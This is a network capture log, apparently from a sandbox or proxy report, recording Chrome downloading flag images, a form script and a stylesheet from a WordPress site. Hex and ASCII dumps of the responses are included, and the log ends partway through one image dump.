2025-01-15 02:37:15 UTC	474	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 36 3a 34 31 3a 35 31 20 2b 30 31 30 30 3d aa 5d 18 00 00 00 07 74 49 4d 45 07 d5 0c 1f 0f 2e 30 65 2f f3 49 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 32 49 44 41 54 78 da 63 64 98 cd c0 f0 93 81 e1 07 98 24 08 80 ca be 83 48 16 90 6a 20 fa 45 9c b6 9f 50 c4 02 32 00 a8 e7 25 11 7a e0 3a 11 b6 31 30 f0 73 f1 3b 28 3b ab 89 a9 3f 7d ff e4 e1 fb 87 5c 6c 5c 26 72 a6 7f fe fe f9 f8 f3 bd 14 bf 14 c3 7f c6 ee bd 9d 5f 7f 7d 81 38 92 09 6e ca ef 3f bf 05 d8 05 05 b8 f8 f9 38 Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 16:41:51 +0100=]tIME.0e/IpHYs~gAMAa2IDATxcd$Hj EP2%z:10s;(;?}\l\&r_}8n?8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49860	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	789	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/id_ID.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: image/png Content-Length: 242 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-f2" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:15 UTC	242	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 64 6f 20 32 39 20 64 65 63 20 32 30 30 35 20 30 32 3a 33 33 3a 35 32 20 2b 30 31 30 30 06 4a 42 63 00 00 00 07 74 49 4d 45 07 d5 0c 1d 01 27 17 b1 70 18 ea 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 4a 49 44 41 54 78 da bd d0 c1 0e 00 10 0c 03 d0 11 e1 ff 7f d2 61 ec 1b 4a 10 67 eb 41 6f 3d bc 2c 5d 80 30 89 84 01 c7 3a c1 8c 63 fc b6 99 24 70 fe b2 56 69 cd 7f ad 14 c9 f9 d7 b6 be 92 6e 37 b3 47 73 18 80 5d 1e 99 aa 0e a6 6f 2c 01 f2 8e 25 46 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRpz+tEXtCreation Timedo 29 dec 2005 02:33:52 +0100JBctIME'ppHYs~gAMAaJIDATxaJgAo=,]0:c$pVin7Gs]o,%FIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49863	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	786	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/th.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:15 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: image/png Content-Length: 272 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-110" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:15 UTC	272	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 37 3a 30 33 3a 33 33 20 2b 30 31 30 30 05 e0 3f 8c 00 00 00 07 74 49 4d 45 07 d5 0c 1f 10 0a 20 9e 0a e6 c6 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 68 49 44 41 54 78 da bd d0 3d 0e c0 20 08 05 e0 87 f1 14 de ff 32 bd 83 b3 f1 af 2e a4 43 27 6a a3 ee d8 a1 04 86 37 7c 21 40 82 2f 65 61 cc ae 11 11 ea b3 cb 4a 29 76 d7 c4 d8 55 26 e0 00 2e 20 a9 61 00 78 fb b0 51 ff b2 f9 c9 10 b4 c0 7b df 5a 9d 9f 74 4e cb 38 31 dd 6c 41 34 f2 a9 30 75 f5 bb 4d 56 50 b2 0c 3c 26 a5 2c Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 17:03:33 +0100?tIME pHYs~gAMAahIDATx= 2.C'j7\|!@/eaJ)vU&. axQ{ZtN81lA40uMVP<&,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49861	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	1037	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/es_PE.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: image/png Content-Length: 232 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-e8" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:15 UTC	232	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 36 3a 33 32 3a 30 35 20 2b 30 31 30 30 43 09 d9 ef 00 00 00 07 74 49 4d 45 07 d5 0c 1f 0f 26 06 62 4c ec d8 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 40 49 44 41 54 78 da 63 fc cf 80 01 fe 63 88 31 32 a2 09 30 31 90 0e fe 93 a7 ed 0d 19 da de 92 a7 8d 7c bf 0d 5b 6d 6f c0 88 05 ce 7f 8b 60 bd c5 af 07 aa ed 3f 8c 03 05 af 5e e1 d7 06 94 06 00 30 a6 15 af 92 ec fb 1b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 16:32:05 +0100CtIME&bLpHYs~gAMAa@IDATxcc1201\|[mo`?^0IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49864	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	960	OUT	GET /wp-content/plugins/html-forms/assets/js/public.js?ver=1.4.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:15 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: application/javascript Content-Length: 6106 Last-Modified: Thu, 09 Jan 2025 02:46:44 GMT Connection: close Vary: Accept-Encoding ETag: "677f3894-17da" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:15 UTC	6106	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 31 37 36 3a 28 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 21 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 68 6f 77 2d 69 66 22 29 2c 72 3d 21 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 68 69 64 65 2d 69 66 22 29 2c 6f 3d 6e 3f 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 68 6f 77 2d 69 66 22 29 2e 73 70 6c 69 74 28 22 3a 22 29 3a 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 68 69 64 65 2d 69 66 22 29 2e 73 70 6c 69 74 28 22 3a 22 29 2c 61 3d 6f 5b 30 5d 2c 73 3d 28 6f 2e 6c 65 6e 67 74 68 3e 31 3f 6f 5b 31 5d 3a 22 2a 22 29 2e 73 70 6c 69 74 28 22 7c 22 29 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (()=>{var e={176:()=>{function e(e,t){const n=!!e.getAttribute("data-show-if"),r=!!e.getAttribute("data-hide-if"),o=n?e.getAttribute("data-show-if").split(":"):e.getAttribute("data-hide-if").split(":"),a=o[0],s=(o.length>1?o[1]:"*").split("\|"),i=function(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49866	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	789	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/bn_BD.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:15 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: image/png Content-Length: 376 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-178" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:15 UTC	376	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 77 6f 20 32 38 20 64 65 63 20 32 30 30 35 20 31 33 3a 32 35 3a 34 36 20 2b 30 31 30 30 34 ed 87 fd 00 00 00 07 74 49 4d 45 07 d5 0c 1c 0c 1c 26 6c 78 03 de 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 d0 49 44 41 54 78 da 63 64 98 cd c0 f0 93 81 e1 07 98 24 08 80 ca be 83 48 16 90 6a 20 fa 85 aa ed 3f 98 64 c4 d0 f6 13 8a 58 40 06 00 f5 bc 84 8a 73 fe 61 98 76 98 21 e1 06 03 c3 5f 86 bd 8a 0c 09 f6 0c 4f 78 30 74 fe 00 1a d8 0a 66 7d 84 5a 72 60 0b 83 fd 3d 84 9a 0f fc 0c 32 d1 0c 5f 59 91 b4 bd 03 69 63 42 36 c8 fe 05 Data Ascii: PNGIHDRpz+tEXtCreation Timewo 28 dec 2005 13:25:46 +01004tIME&lxpHYs~gAMAaIDATxcd$Hj ?dX@sav!_Ox0tf}Zr`=2_YicB6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49865	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	1026	OUT	GET /wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce-smallscreen.min.css?ver=3.7.9 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:15 UTC	413	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: text/css Content-Length: 5985 Last-Modified: Mon, 07 Mar 2022 04:29:27 GMT Connection: close Vary: Accept-Encoding ETag: "62258a27-1761" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:15 UTC	5985	IN	Data Raw: 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 74 61 62 6c 65 2e 73 68 6f 70 5f 74 61 62 6c 65 5f 72 65 73 70 6f 6e 73 69 76 65 20 74 68 65 61 64 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 74 61 62 6c 65 2e 73 68 6f 70 5f 74 61 62 6c 65 5f 72 65 73 70 6f 6e 73 69 76 65 20 74 68 65 61 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 74 61 62 6c 65 2e 73 68 6f 70 5f 74 61 62 6c 65 5f 72 65 73 70 6f 6e 73 69 76 65 20 74 62 6f 64 79 20 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 74 64 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 74 61 62 6c 65 2e 73 68 6f 70 5f 74 61 62 6c 65 5f 72 65 73 70 6f 6e 73 69 76 65 20 74 62 6f 64 79 20 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 Data Ascii: .woocommerce table.shop_table_responsive thead,.woocommerce-page table.shop_table_responsive thead{display:none}.woocommerce table.shop_table_responsive tbody tr:first-child td:first-child,.woocommerce-page table.shop_table_responsive tbody tr:first-child

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49867	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	789	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/tr_TR.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:15 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: image/png Content-Length: 317 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-13d" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:15 UTC	317	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 37 3a 30 34 3a 33 36 20 2b 30 31 30 30 b5 04 0b 52 00 00 00 07 74 49 4d 45 07 d5 0c 1f 10 0b 29 fe cd 6f 23 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 95 49 44 41 54 78 da 9d 91 cb 0d 83 30 10 44 07 84 64 0e 9c 40 d4 06 7d d0 0f 60 ae f4 13 29 2d 04 47 2e 61 58 f3 0b 16 39 80 47 73 19 69 9f c6 eb 8d 88 10 c5 01 0c c3 30 e3 61 4a 41 6b 58 8b b6 45 55 b9 f8 4f df 05 73 8d 9b fb 9e d3 c4 3c df a2 52 2c 4b 9e 07 16 0b f3 f2 30 51 d3 fc 62 96 71 1c 39 0c 4c d3 2b 16 b2 1b bc Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 17:04:36 +0100RtIME)o#pHYs~gAMAaIDATx0Dd@}`)-G.aX9Gsi0aJAkXEUOs<R,K0Qbq9L+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49869	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	789	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ta_LK.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:16 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: image/png Content-Length: 600 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-258" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:16 UTC	600	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 03 00 00 00 58 cc 1d 8e 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 db 50 4c 54 45 d6 00 00 d7 0b 00 cf 02 00 f0 a6 00 d8 00 00 61 00 00 af 0a 00 d5 00 00 d8 03 00 c1 06 00 bb 04 00 d2 08 00 d4 09 00 b2 01 00 b9 00 00 d7 00 00 e1 3f 00 e9 6e 00 bd 56 00 b2 93 00 cc 9a 04 3b 15 0b 79 00 00 db 00 00 d7 07 00 d8 09 00 e1 7b 00 6c 48 11 43 34 0c 6b 5e 00 79 07 00 dc 03 00 e2 43 00 e9 78 00 5c 06 05 a9 23 22 f3 d8 a4 d8 b9 03 d4 b9 00 e3 3f 00 e7 47 00 96 81 00 61 5a 5c e5 d9 c4 e1 c3 1d fa d3 00 fb de 00 e1 41 00 e0 39 00 fa d1 06 6a 53 0b b2 Data Ascii: PNGIHDRXgAMAa cHRMz&u0`:pQ<PLTEa?nV;y{lHC4k^yCx\#"?GaZ\A9jS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49870	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	789	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/uz_UZ.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:16 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:15 GMT Content-Type: image/png Content-Length: 391 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-187" Expires: Thu, 15 Jan 2026 02:37:15 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:16 UTC	391	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 37 3a 31 33 3a 34 38 20 2b 30 31 30 30 cc ac bd af 00 00 00 07 74 49 4d 45 07 d5 0c 1f 10 14 36 be 9f 6c 48 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 df 49 44 41 54 78 da 8d 8e c1 6a c2 40 18 84 bf 8d 1b 83 b5 a5 50 f0 50 f2 1e 39 fa b8 3d f7 39 7a ef c1 43 a9 0d 88 18 48 a3 c9 26 b2 71 37 db 24 ad 87 82 e2 0e 73 f8 07 e6 e3 1f c1 ce 3d 39 1e 5b 3e b7 3c cf 99 4b 5a 4b aa b8 ac ca 50 15 bd 25 47 96 0b 